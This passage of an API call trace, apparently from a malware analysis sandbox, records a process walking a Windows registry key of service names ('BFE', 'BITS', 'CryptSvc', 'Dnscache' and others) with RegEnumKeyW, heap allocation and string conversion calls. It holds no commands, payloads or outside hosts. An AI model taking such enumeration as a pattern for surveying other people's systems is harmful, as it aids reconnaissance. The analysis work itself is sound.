lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.534] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.534] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.534] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0206.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.534] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0206.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.536] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.536] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.536] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0206.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.536] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.537] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.537] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.537] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0206.538] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0206.539] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 